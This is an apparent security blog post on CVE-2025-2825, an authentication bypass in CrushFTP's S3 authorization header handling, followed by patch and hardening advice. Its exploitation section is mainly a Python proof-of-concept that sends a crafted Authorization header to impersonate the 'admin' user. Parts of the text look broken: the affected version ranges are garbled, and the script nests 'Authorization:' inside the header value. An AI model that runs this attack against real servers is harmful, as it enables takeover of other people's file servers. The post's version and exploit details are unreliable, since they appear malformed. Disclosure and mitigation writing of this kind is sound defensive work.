Introduction: CrushFTP is a full-fledged file server that allows users and organizations to securely store and share files over the internet. However, recent reports indicate that versions 10.. through 10.8.3 and 11.. through 11.3. of the software are affected by a critical vulnerability in the S3 authorization header processing. This vulnerability allows unauthorized users to bypass authentication and impersonate a known user and conduct actions on their behalf, including administrative actions and data retrieval. This blog post will discuss the details of the vulnerability, how it can be exploited, and what measures can be taken to protect your data and systems.

Description of Vulnerability: The vulnerability in question, known as CVE-2025-2825, has been discovered in CrushFTP's processing of the S3 authorization headers. When an HTTP request is made to a CrushFTP server, the server processes the request's S3 authorization header, which contains the user's credentials. Due to a flaw in this process, remote and unauthenticated HTTP requests with known usernames can be used to bypass authentication and impersonate the user.

Exploiting the vulnerability: To demonstrate the exploit, let's say we have a CrushFTP server with a user 'admin' having administrative privileges. An attacker can exploit the vulnerability by sending an HTTP request to the server containing a specially crafted S3 authorization header. Here's a code snippet showing how the attack can be carried out:

import requests

# Replace the URL with the target CrushFTP server's URL
url = "http://target_crushftp_server/CrushFTPWebInterface";
known_username = "admin"
s3_auth_header = f"Authorization: AWS {known_username}::000000000"

headers = {
    "Authorization": s3_auth_header,
}

response = requests.get(url, headers=headers)

print(response.text)

Executing this code would send the malicious request to the CrushFTP server, potentially granting the attacker the same privileges as the 'admin' user, allowing them to perform unauthorized actions and access sensitive data.

Original References: This vulnerability was first disclosed and detailed in the following original references:

1. CVE-2025-2825
2. Security Advisory from CrushFTP

Mitigating the Vulnerability: To mitigate this vulnerability, you should update CrushFTP to the latest version (for versions 10.x.x and 11.x.x) available on their website here: CrushFTP Downloads. CrushFTP developers have patched the vulnerability in these newer versions to prevent the bypass of authentication.

Furthermore, always use strong and unique passwords for all user accounts and apply the principle of least privilege when granting user permissions, to limit the potential impact if an attacker does manage to compromise an account.

Conclusion: It's crucial to keep your software updated and apply the necessary steps to secure your data and systems. In this case, updating to the latest version of CrushFTP will protect your server from the CVE-2025-2825 vulnerability. Remember to stay informed by following security advisories and applying recommended best practices for securing your systems and user accounts.

Timeline

Published on: 03/26/2025 16:15:23 UTC
Last modified on: 04/02/2025 21:15:33 UTC